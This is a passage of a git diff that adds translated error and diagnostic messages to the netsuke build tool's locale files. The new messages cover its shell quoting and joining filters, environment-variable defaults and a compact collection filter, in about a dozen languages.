manifest.vars.not_object = `vars` del manifiesto debe ser un mapa/objeto. manifest.vars.reserved_name = La clave `vars` '{ $name }' del manifiesto está reservada para una función auxiliar de plantillas integrada; renombre la variable. manifest.read_failed = No se pudo leer el manifiesto en { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = streaming stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote esperaba una cadena pero recibió { $kind }. +stdlib.shell.quote.control_character = Un valor que contenga un byte nulo, un retorno de carro o un salto de línea no se puede entrecomillar. +stdlib.shell.dialect_invalid = Dialecto de shell desconocido { $dialect }; se esperaba uno de { $accepted }. +stdlib.shell.dialect_not_string = La opción dialect de shell debe ser una cadena, se recibió { $kind }. +stdlib.shell.join.not_sequence = shell_join esperaba una secuencia pero recibió { $kind }. +stdlib.shell.join.item_not_string = El elemento { $index } de shell_join es { $kind }, no una cadena. +stdlib.shell.positional_option = { $filter } toma sus opciones por palabra clave; escriba { $example }. + # Diagnósticos de rutas. stdlib.path.io.failed = { $action } falló para { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } falló para { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Algoritmo hash no compatible '{ # Diagnósticos de colecciones. stdlib.collections.flatten.expected_sequence = Flatten esperaba elementos de secuencia pero encontró { $kind }. +stdlib.collections.compact.not_sequence = compact esperaba una secuencia pero encontró { $kind }. stdlib.collections.group_by.empty_attribute = group_by requiere un atributo no vacío. stdlib.collections.group_by.unresolved = group_by no pudo resolver '{ $attr }' en un elemento de tipo { $kind }. diff --git a/locales/fa/messages.ftl b/locales/fa/messages.ftl index 7b29199f8..81d5176b7 100644 --- a/locales/fa/messages.ftl +++ b/locales/fa/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = ممیزهای وارونه را بگریزانید manifest.env.missing = یک متغیر محیطی الزامی تنظیم نشده است. manifest.env.invalid_utf8 = یک متغیر محیطی دربردارندهٔ UTF-8 نامعتبر است. manifest.env.blocked = دسترسی به یک متغیر محیطی مسدود شده است. +manifest.env.args_error = ‏[netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = مقدار default در env باید رشته باشد، اما { $kind } دریافت شد. manifest.vars.not_object = ‏`vars` در مانیفست باید نگاشت یا شیء باشد. manifest.vars.reserved_name = کلید `vars` با نام '{ $name }' در مانیفست برای یک کمک‌کننده داخلی قالب رزرو شده است؛ نام متغیر را تغییر دهید. manifest.read_failed = خواندن مانیفست از { $path } ممکن نشد. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = جریان stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = ‏[netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = ‏[netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = ‏shell_quote یک رشته انتظار داشت اما { $kind } دریافت کرد. +stdlib.shell.quote.control_character = مقداری که شامل بایت صفر، بازگشت به ابتدای خط یا شکست سطر باشد را نمی‌توان میان گیومه گذاشت. +stdlib.shell.dialect_invalid = لهجهٔ پوستهٔ ناشناخته { $dialect }؛ یکی از { $accepted } انتظار می‌رفت. +stdlib.shell.dialect_not_string = گزینه dialect در shell باید رشته باشد، اما { $kind } دریافت شد. +stdlib.shell.join.not_sequence = ‏shell_join یک دنباله انتظار داشت اما { $kind } دریافت کرد. +stdlib.shell.join.item_not_string = آیتم { $index } در shell_join از نوع { $kind } است، نه رشته. +stdlib.shell.positional_option = ‏{ $filter } گزینه‌های خود را به‌صورت کلیدواژه می‌گیرد؛ { $example } بنویسید. + # تشخیص‌های یاور مسیرها. stdlib.path.io.failed = کنش «{ $action }» برای { $path } ناکام ماند ({ $label }). stdlib.path.io.failed_with_detail = کنش «{ $action }» برای { $path } ناکام ماند: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = الگوریتم درهم‌سا # تشخیص‌های یاورهای گردایه‌ها. stdlib.collections.flatten.expected_sequence = ‏flatten عضوهای یک دنباله را انتظار داشت اما { $kind } یافت. +stdlib.collections.compact.not_sequence = ‏compact یک دنباله را انتظار داشت اما { $kind } یافت. stdlib.collections.group_by.empty_attribute = ‏group_by به ویژگی‌ای ناتهی نیاز دارد. stdlib.collections.group_by.unresolved = ‏group_by نتوانست «{ $attr }» را روی عضوی از گونهٔ { $kind } بیابد. diff --git a/locales/fi/messages.ftl b/locales/fi/messages.ftl index bc4fb2235..40b782848 100644 --- a/locales/fi/messages.ftl +++ b/locales/fi/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Suojaa kenoviivat tai poista virheelliset ohjausmerk manifest.env.missing = Vaadittua ympäristömuuttujaa ei ole asetettu. manifest.env.invalid_utf8 = Ympäristömuuttuja sisältää virheellistä UTF-8:aa. manifest.env.blocked = Ympäristömuuttujan käyttö on estetty. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = default env-funktiossa on oltava merkkijono, vastaanotettiin { $kind }. manifest.vars.not_object = Manifestin `vars` on oltava kuvaus tai objekti. manifest.vars.reserved_name = Manifestin `vars`-avain '{ $name }' on varattu sisäänrakennetulle mallineapufunktiolle; nimeä muuttuja uudelleen. manifest.read_failed = Manifestia ei voitu lukea polusta { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = virtaus stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote odotti merkkijonoa, mutta sai { $kind }. +stdlib.shell.quote.control_character = Arvoa, joka sisältää nollatavun, vaunupalautuksen tai rivinvaihdon, ei voi lainausmerkitä. +stdlib.shell.dialect_invalid = Tuntematon komentotulkin murre { $dialect }; odotettiin jotakin joukosta { $accepted }. +stdlib.shell.dialect_not_string = dialect-valinnan shell-funktiossa on oltava merkkijono, vastaanotettiin { $kind }. +stdlib.shell.join.not_sequence = shell_join odotti jonoa, mutta sai { $kind }. +stdlib.shell.join.item_not_string = Kohteen { $index } tyyppi shell_join-kutsussa on { $kind }, ei merkkijono. +stdlib.shell.positional_option = { $filter } ottaa valitsimensa avainsanoina; kirjoita { $example }. + # Polkuapurin diagnostiikka. stdlib.path.io.failed = { $action } epäonnistui polun { $path } käsittelyssä ({ $label }). stdlib.path.io.failed_with_detail = { $action } epäonnistui polun { $path } käsittelyssä: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Tiivistealgoritmia ”{ $algorit # Kokoelma-apurien diagnostiikka. stdlib.collections.flatten.expected_sequence = flatten odotti jonon alkioita, mutta löysi { $kind }. +stdlib.collections.compact.not_sequence = compact odotti jonoa, mutta löysi { $kind }. stdlib.collections.group_by.empty_attribute = group_by vaatii määritteen, joka ei ole tyhjä. stdlib.collections.group_by.unresolved = group_by ei löytänyt määritettä ”{ $attr }” tyypin { $kind } alkiosta. diff --git a/locales/fr/messages.ftl b/locales/fr/messages.ftl index d136f2577..e960c1d0d 100644 --- a/locales/fr/messages.ftl +++ b/locales/fr/messages.ftl @@ -140,6 +140,8 @@ manifest.yaml.hint.escape = Échappez les barres obliques inverses ou supprimez manifest.env.missing = Une variable d'environnement requise n'est pas définie. manifest.env.invalid_utf8 = Une variable d'environnement contient de l'UTF-8 non valide. manifest.env.blocked = L’accès à une variable d’environnement est bloqué. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = L'argument default de env doit être une chaîne, reçu { $kind }. manifest.vars.not_object = `vars` du manifeste doit être une table ou un objet. manifest.vars.reserved_name = La clé `vars` '{ $name }' du manifeste est réservée à une fonction utilitaire de gabarit intégrée ; renommez la variable. manifest.read_failed = Impossible de lire le manifeste depuis { $path }. @@ -286,6 +288,17 @@ stdlib.command.output.mode.streaming = flux stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote attendait une chaîne mais a reçu { $kind }. +stdlib.shell.quote.control_character = Une valeur contenant un octet nul, un retour chariot ou un saut de ligne ne peut pas être protégée par des guillemets. +stdlib.shell.dialect_invalid = Dialecte de shell inconnu { $dialect } ; attendu l'un de { $accepted }. +stdlib.shell.dialect_not_string = L'option dialect de shell doit être une chaîne, reçu { $kind }. +stdlib.shell.join.not_sequence = shell_join attendait une séquence mais a reçu { $kind }. +stdlib.shell.join.item_not_string = L'élément { $index } de shell_join est { $kind }, et non une chaîne. +stdlib.shell.positional_option = { $filter } prend ses options par mot-clé ; écrivez { $example }. + # Diagnostics de l'assistant de chemins. stdlib.path.io.failed = { $action } a échoué pour { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } a échoué pour { $path } : { $detail }. @@ -341,6 +354,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Algorithme de hachage non pris e # Diagnostics des assistants de collections. stdlib.collections.flatten.expected_sequence = flatten attendait des éléments de séquence mais a trouvé { $kind }. +stdlib.collections.compact.not_sequence = compact attendait une séquence mais a trouvé { $kind }. stdlib.collections.group_by.empty_attribute = group_by exige un attribut non vide. stdlib.collections.group_by.unresolved = group_by n'a pas pu résoudre « { $attr } » sur un élément de type { $kind }. diff --git a/locales/gd/messages.ftl b/locales/gd/messages.ftl index f167ad400..75fbf1826 100644 --- a/locales/gd/messages.ftl +++ b/locales/gd/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Teich na slaisean-cùil no thoir air falbh na sreath manifest.env.missing = Chan eil caochladair àrainneachd riatanach air a shuidheachadh. manifest.env.invalid_utf8 = Tha UTF-8 mì-dhligheach ann an caochladair àrainneachd. manifest.env.blocked = Tha inntrigeadh do chaochladair àrainneachd air a bhacadh. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Feumaidh default env a bhith na shreang; fhuaras { $kind }. manifest.vars.not_object = Feumaidh `vars` an fhoirm-liosta a bhith na mhapadh no na oibseact. manifest.vars.reserved_name = Tha an iuchair `vars` '{ $name }' sa mhanifest glèidhte do chuidiche teamplaid na broinn; thoir ainm ùr air a' chaochladair. manifest.read_failed = Cha b' urrainnear am foirm-liosta a leughadh o { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = sruthadh stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = Bha dùil aig shell_quote ri sreang ach fhuair e { $kind }. +stdlib.shell.quote.control_character = Chan urrainnear luach le baidht neoni, tilleadh-carbaid no briseadh-loidhne a chur ann an comharran-labhairt. +stdlib.shell.dialect_invalid = Dual-chainnt sligean neo-aithnichte { $dialect }; bha dùil ri aon de { $accepted }. +stdlib.shell.dialect_not_string = Feumaidh roghainn dialect shell a bhith na shreang; fhuaras { $kind }. +stdlib.shell.join.not_sequence = Bha dùil aig shell_join ri sreath ach fhuair e { $kind }. +stdlib.shell.join.item_not_string = Tha nì { $index } aig shell_join na { $kind }, chan e sreang. +stdlib.shell.positional_option = Bidh { $filter } a' gabhail a roghainnean mar fhacal-luirg; sgrìobh { $example }. + # Breithneachadh cuidiche nan slighean. stdlib.path.io.failed = Dh'fhàillig an gnìomh “{ $action }” airson { $path } ({ $label }). stdlib.path.io.failed_with_detail = Dh'fhàillig an gnìomh “{ $action }” airson { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Algairim hais gun taic: “{ $al # Breithneachadh chuidichean nan cruinneachaidhean. stdlib.collections.flatten.expected_sequence = Bha dùil aig flatten ri nithean sreath ach fhuair e { $kind }. +stdlib.collections.compact.not_sequence = Bha dùil aig compact ri sreath ach fhuair e { $kind }. stdlib.collections.group_by.empty_attribute = Tha group_by ag iarraidh buadh nach eil falamh. stdlib.collections.group_by.unresolved = Cha b' urrainn do group_by “{ $attr }” a lorg air nì den t-seòrsa { $kind }. diff --git a/locales/he/messages.ftl b/locales/he/messages.ftl index 698e1d4aa..28ee4067a 100644 --- a/locales/he/messages.ftl +++ b/locales/he/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = בצעו מילוט ללוכסנים אחוריים manifest.env.missing = משתנה סביבה נדרש אינו מוגדר. manifest.env.invalid_utf8 = משתנה סביבה מכיל UTF-8 לא תקין. manifest.env.blocked = הגישה למשתנה סביבה חסומה. +manifest.env.args_error = ‏[netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = הערך default של env חייב להיות מחרוזת, התקבל { $kind }. manifest.vars.not_object = השדה `vars` של המניפסט חייב להיות מיפוי או אובייקט. manifest.vars.reserved_name = מפתח `vars` בשם '{ $name }' במניפסט שמור לפונקציית עזר מובנית של תבניות; שנה את שם המשתנה. manifest.read_failed = לא ניתן היה לקרוא את המניפסט מ‑{ $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = הזרמה stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = ‏[netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = ‏[netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = ‏shell_quote ציפה למחרוזת אך קיבל { $kind }. +stdlib.shell.quote.control_character = לא ניתן להקיף במרכאות ערך המכיל בייט אפס, החזרת גרר או מעבר שורה. +stdlib.shell.dialect_invalid = דיאלקט מעטפת לא מוכר { $dialect }; צפוי אחד מבין { $accepted }. +stdlib.shell.dialect_not_string = האפשרות dialect של shell חייבת להיות מחרוזת, התקבל { $kind }. +stdlib.shell.join.not_sequence = ‏shell_join ציפה לרצף אך קיבל { $kind }. +stdlib.shell.join.item_not_string = הפריט { $index } ב-shell_join הוא { $kind }, לא מחרוזת. +stdlib.shell.positional_option = ‏{ $filter } מקבל את אפשרויותיו כמילת מפתח; כתבו { $example }. + # אבחון עוזר הנתיבים. stdlib.path.io.failed = הפעולה „{ $action }” נכשלה עבור { $path } ({ $label }). stdlib.path.io.failed_with_detail = הפעולה „{ $action }” נכשלה עבור { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = אלגוריתם גיבוב שא # אבחון עוזרי האוספים. stdlib.collections.flatten.expected_sequence = ‏flatten ציפה לפריטים של סדרה אך מצא { $kind }. +stdlib.collections.compact.not_sequence = ‏compact ציפה לסדרה אך מצא { $kind }. stdlib.collections.group_by.empty_attribute = ‏group_by מחייב תכונה שאינה ריקה. stdlib.collections.group_by.unresolved = ‏group_by לא הצליח לאתר את „{ $attr }” בפריט מסוג { $kind }. diff --git a/locales/hi/messages.ftl b/locales/hi/messages.ftl index f8407eb4d..d67b16c4b 100644 --- a/locales/hi/messages.ftl +++ b/locales/hi/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = बैकस्लैश को एस्केप manifest.env.missing = एक आवश्यक परिवेश चर निर्धारित नहीं है। manifest.env.invalid_utf8 = एक परिवेश चर में अमान्य UTF-8 है। manifest.env.blocked = किसी परिवेश चर तक पहुँच अवरुद्ध है। +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = env का default स्ट्रिंग होना चाहिए, { $kind } प्राप्त हुआ। manifest.vars.not_object = मैनिफ़ेस्ट का `vars` प्रतिचित्रण अथवा वस्तु होना चाहिए। manifest.vars.reserved_name = मैनिफ़ेस्ट की `vars` कुंजी '{ $name }' अंतर्निहित टेम्पलेट सहायक के लिए आरक्षित है; चर का नाम बदलें। manifest.read_failed = { $path } से मैनिफ़ेस्ट नहीं पढ़ा जा सका। @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = धारा stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote ने एक स्ट्रिंग की अपेक्षा की, किंतु { $kind } प्राप्त हुआ। +stdlib.shell.quote.control_character = शून्य बाइट, गाड़ी वापसी या पंक्ति परिवर्तन वाले मान को उद्धृत नहीं किया जा सकता। +stdlib.shell.dialect_invalid = अज्ञात शेल बोली { $dialect }; इनमें से एक अपेक्षित थी: { $accepted }। +stdlib.shell.dialect_not_string = shell का dialect विकल्प स्ट्रिंग होना चाहिए, { $kind } प्राप्त हुआ। +stdlib.shell.join.not_sequence = shell_join ने अनुक्रम की अपेक्षा की, किंतु { $kind } प्राप्त हुआ। +stdlib.shell.join.item_not_string = shell_join का आइटम { $index } { $kind } है, स्ट्रिंग नहीं। +stdlib.shell.positional_option = { $filter } अपने विकल्प कीवर्ड के रूप में लेता है; { $example } लिखें। + # पथ सहायक के निदान। stdlib.path.io.failed = { $path } पर क्रिया “{ $action }” विफल रही ({ $label })। stdlib.path.io.failed_with_detail = { $path } पर क्रिया “{ $action }” विफल रही: { $detail }। @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = असमर्थित है # संग्रह सहायकों के निदान। stdlib.collections.flatten.expected_sequence = flatten को अनुक्रम की मदें अपेक्षित थीं, किंतु { $kind } मिला। +stdlib.collections.compact.not_sequence = compact को अनुक्रम अपेक्षित था, किंतु { $kind } मिला। stdlib.collections.group_by.empty_attribute = group_by को अरिक्त गुण चाहिए। stdlib.collections.group_by.unresolved = group_by { $kind } प्रकार की मद पर “{ $attr }” नहीं खोज सका। diff --git a/locales/hu/messages.ftl b/locales/hu/messages.ftl index 8179a39c6..8774016cf 100644 --- a/locales/hu/messages.ftl +++ b/locales/hu/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Escape-elje a fordított perjeleket, vagy távolíts manifest.env.missing = Egy kötelező környezeti változó nincs beállítva. manifest.env.invalid_utf8 = Egy környezeti változó érvénytelen UTF-8 kódolást tartalmaz. manifest.env.blocked = Egy környezeti változóhoz való hozzáférés le van tiltva. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Az env default értékének karakterláncnak kell lennie, ezt kaptuk: { $kind }. manifest.vars.not_object = A jegyzék `vars` mezőjének leképezésnek vagy objektumnak kell lennie. manifest.vars.reserved_name = A manifest `vars` kulcsa, '{ $name }', egy beépített sablonsegéd számára fenntartott; nevezze át a változót. manifest.read_failed = A jegyzéket nem sikerült beolvasni innen: { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = folyamatos átvitel stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = A shell_quote sztringet várt, de ezt kapta: { $kind }. +stdlib.shell.quote.control_character = Nullabájtot, kocsivisszát vagy soremelést tartalmazó érték nem idézőjelezhető. +stdlib.shell.dialect_invalid = Ismeretlen shell-dialektus: { $dialect }; a várt értékek: { $accepted }. +stdlib.shell.dialect_not_string = A shell dialect beállításának karakterláncnak kell lennie, ezt kaptuk: { $kind }. +stdlib.shell.join.not_sequence = A shell_join sorozatot várt, de ezt kapta: { $kind }. +stdlib.shell.join.item_not_string = A(z) { $index }. shell_join-elem típusa { $kind }, nem sztring. +stdlib.shell.positional_option = A(z) { $filter } a beállításait kulcsszóként várja; írja ezt: { $example }. + # Az útvonalakat kezelő segédfüggvény diagnosztikája. stdlib.path.io.failed = A(z) „{ $action }” művelet sikertelen ehhez: { $path } ({ $label }). stdlib.path.io.failed_with_detail = A(z) „{ $action }” művelet sikertelen ehhez: { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Nem támogatott kivonatoló algo # A gyűjteményeket kezelő segédfüggvények diagnosztikája. stdlib.collections.flatten.expected_sequence = A flatten sorozatelemeket várt, de ezt találta: { $kind }. +stdlib.collections.compact.not_sequence = A compact sorozatot várt, de ezt találta: { $kind }. stdlib.collections.group_by.empty_attribute = A group_by nem üres attribútumot igényel. stdlib.collections.group_by.unresolved = A group_by nem találta a(z) „{ $attr }” attribútumot a(z) { $kind } típusú elemen. diff --git a/locales/id/messages.ftl b/locales/id/messages.ftl index 3804b2db6..1836cf325 100644 --- a/locales/id/messages.ftl +++ b/locales/id/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Lakukan escape pada garis miring terbalik atau hapus manifest.env.missing = Variabel lingkungan wajib belum disetel. manifest.env.invalid_utf8 = Variabel lingkungan memuat UTF-8 yang tidak sah. manifest.env.blocked = Akses ke variabel lingkungan diblokir. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = default pada env harus berupa untai, menerima { $kind }. manifest.vars.not_object = `vars` pada manifes harus berupa pemetaan atau objek. manifest.vars.reserved_name = Kunci `vars` '{ $name }' pada manifes dicadangkan untuk fungsi bantu templat bawaan; ganti nama variabel tersebut. manifest.read_failed = Manifes di { $path } tidak dapat dibaca. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = penstriman stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote mengharapkan string, tetapi menerima { $kind }. +stdlib.shell.quote.control_character = Nilai yang memuat byte nol, retur kereta, atau ganti baris tidak dapat diberi tanda kutip. +stdlib.shell.dialect_invalid = Dialek shell tidak dikenal { $dialect }; diharapkan salah satu dari { $accepted }. +stdlib.shell.dialect_not_string = Opsi dialect pada shell harus berupa untai, menerima { $kind }. +stdlib.shell.join.not_sequence = shell_join mengharapkan urutan, tetapi menerima { $kind }. +stdlib.shell.join.item_not_string = Item { $index } pada shell_join bertipe { $kind }, bukan string. +stdlib.shell.positional_option = { $filter } mengambil opsinya sebagai kata kunci; tulis { $example }. + # Diagnostik pembantu jalur. stdlib.path.io.failed = Tindakan "{ $action }" gagal untuk { $path } ({ $label }). stdlib.path.io.failed_with_detail = Tindakan "{ $action }" gagal untuk { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Algoritme hash tidak didukung: " # Diagnostik pembantu koleksi. stdlib.collections.flatten.expected_sequence = flatten mengharapkan butir urutan tetapi menemukan { $kind }. +stdlib.collections.compact.not_sequence = compact mengharapkan urutan tetapi menemukan { $kind }. stdlib.collections.group_by.empty_attribute = group_by memerlukan atribut yang tidak kosong. stdlib.collections.group_by.unresolved = group_by tidak dapat menemukan "{ $attr }" pada butir bertipe { $kind }. diff --git a/locales/it/messages.ftl b/locales/it/messages.ftl index 611aeb111..5906c366b 100644 --- a/locales/it/messages.ftl +++ b/locales/it/messages.ftl @@ -140,6 +140,8 @@ manifest.yaml.hint.escape = Usa l'escape per le barre rovesciate o rimuovi le se manifest.env.missing = Una variabile d'ambiente richiesta non è impostata. manifest.env.invalid_utf8 = Una variabile d'ambiente contiene UTF-8 non valido. manifest.env.blocked = L’accesso a una variabile d’ambiente è bloccato. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Il default di env deve essere una stringa, ricevuto { $kind }. manifest.vars.not_object = `vars` del manifest deve essere una mappa o un oggetto. manifest.vars.reserved_name = La chiave `vars` '{ $name }' del manifest è riservata a una funzione di supporto per i template integrata; rinomina la variabile. manifest.read_failed = Impossibile leggere il manifest in { $path }. @@ -286,6 +288,17 @@ stdlib.command.output.mode.streaming = streaming stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote si aspettava una stringa ma ha ricevuto { $kind }. +stdlib.shell.quote.control_character = Un valore che contiene un byte nullo, un ritorno a capo o un avanzamento di riga non può essere racchiuso tra virgolette. +stdlib.shell.dialect_invalid = Dialetto della shell sconosciuto { $dialect }; atteso uno tra { $accepted }. +stdlib.shell.dialect_not_string = L'opzione dialect di shell deve essere una stringa, ricevuto { $kind }. +stdlib.shell.join.not_sequence = shell_join si aspettava una sequenza ma ha ricevuto { $kind }. +stdlib.shell.join.item_not_string = L'elemento { $index } di shell_join è { $kind }, non una stringa. +stdlib.shell.positional_option = { $filter } accetta le sue opzioni per parola chiave; scrivere { $example }. + # Diagnostica dell'helper dei percorsi. stdlib.path.io.failed = L'operazione di { $action } non è riuscita per { $path } ({ $label }). stdlib.path.io.failed_with_detail = L'operazione di { $action } non è riuscita per { $path }: { $detail }. @@ -341,6 +354,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Algoritmo di hash non supportato # Diagnostica degli helper per le collezioni. stdlib.collections.flatten.expected_sequence = flatten si aspettava elementi di sequenza ma ha trovato { $kind }. +stdlib.collections.compact.not_sequence = compact si aspettava una sequenza ma ha trovato { $kind }. stdlib.collections.group_by.empty_attribute = group_by richiede un attributo non vuoto. stdlib.collections.group_by.unresolved = group_by non ha potuto risolvere «{ $attr }» su un elemento di tipo { $kind }. diff --git a/locales/ja/messages.ftl b/locales/ja/messages.ftl index 45a5f7ad2..017571a8d 100644 --- a/locales/ja/messages.ftl +++ b/locales/ja/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = 逆斜線をエスケープするか、無効なエ manifest.env.missing = 必須の環境変数が設定されていません。 manifest.env.invalid_utf8 = 環境変数に無効な UTF-8 が含まれています。 manifest.env.blocked = 環境変数へのアクセスはブロックされています。 +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = env の default は文字列でなければなりません。{ $kind } を受け取りました。 manifest.vars.not_object = マニフェストの `vars` はマップまたはオブジェクトでなければなりません。 manifest.vars.reserved_name = マニフェストの `vars` キー '{ $name }' は組み込みのテンプレートヘルパー用に予約されています。変数名を変更してください。 manifest.read_failed = { $path } のマニフェストを読み取れませんでした。 @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = ストリーミング stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote は文字列を期待しましたが、{ $kind } を受け取りました。 +stdlib.shell.quote.control_character = ヌルバイト、復帰、または改行を含む値は引用符で囲めません。 +stdlib.shell.dialect_invalid = 不明なシェル方言 { $dialect } です。{ $accepted } のいずれかを指定してください。 +stdlib.shell.dialect_not_string = shell の dialect オプションは文字列でなければなりません。{ $kind } を受け取りました。 +stdlib.shell.join.not_sequence = shell_join は列を期待しましたが、{ $kind } を受け取りました。 +stdlib.shell.join.item_not_string = shell_join の { $index } 番目の項目は { $kind } であり、文字列ではありません。 +stdlib.shell.positional_option = { $filter } はオプションをキーワードで受け取ります。{ $example } と記述してください。 + # パスヘルパーの診断。 stdlib.path.io.failed = { $path } に対する「{ $action }」に失敗しました({ $label })。 stdlib.path.io.failed_with_detail = { $path } に対する「{ $action }」に失敗しました: { $detail }。 @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = 対応していないハッシ # コレクションヘルパーの診断。 stdlib.collections.flatten.expected_sequence = flatten は列の要素を期待しましたが、{ $kind } が見つかりました。 +stdlib.collections.compact.not_sequence = compact は列を期待しましたが、{ $kind } が見つかりました。 stdlib.collections.group_by.empty_attribute = group_by には空でない属性が必要です。 stdlib.collections.group_by.unresolved = group_by は種別 { $kind } の要素で「{ $attr }」を解決できませんでした。 diff --git a/locales/ko/messages.ftl b/locales/ko/messages.ftl index 1cd2179a4..24e22a268 100644 --- a/locales/ko/messages.ftl +++ b/locales/ko/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = 역슬래시를 이스케이프하거나 잘못된 manifest.env.missing = 필수 환경 변수가 설정되지 않았습니다. manifest.env.invalid_utf8 = 환경 변수에 잘못된 UTF-8이 들어 있습니다. manifest.env.blocked = 환경 변수에 대한 접근이 차단되었습니다. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = env의 default는 문자열이어야 합니다. { $kind }을(를) 받았습니다. manifest.vars.not_object = 매니페스트의 `vars`는 매핑이나 객체여야 합니다. manifest.vars.reserved_name = 매니페스트의 `vars` 키 '{ $name }'은(는) 내장 템플릿 헬퍼용으로 예약되어 있습니다. 변수 이름을 바꾸십시오. manifest.read_failed = { $path }의 매니페스트를 읽지 못했습니다. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = 스트리밍 stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } 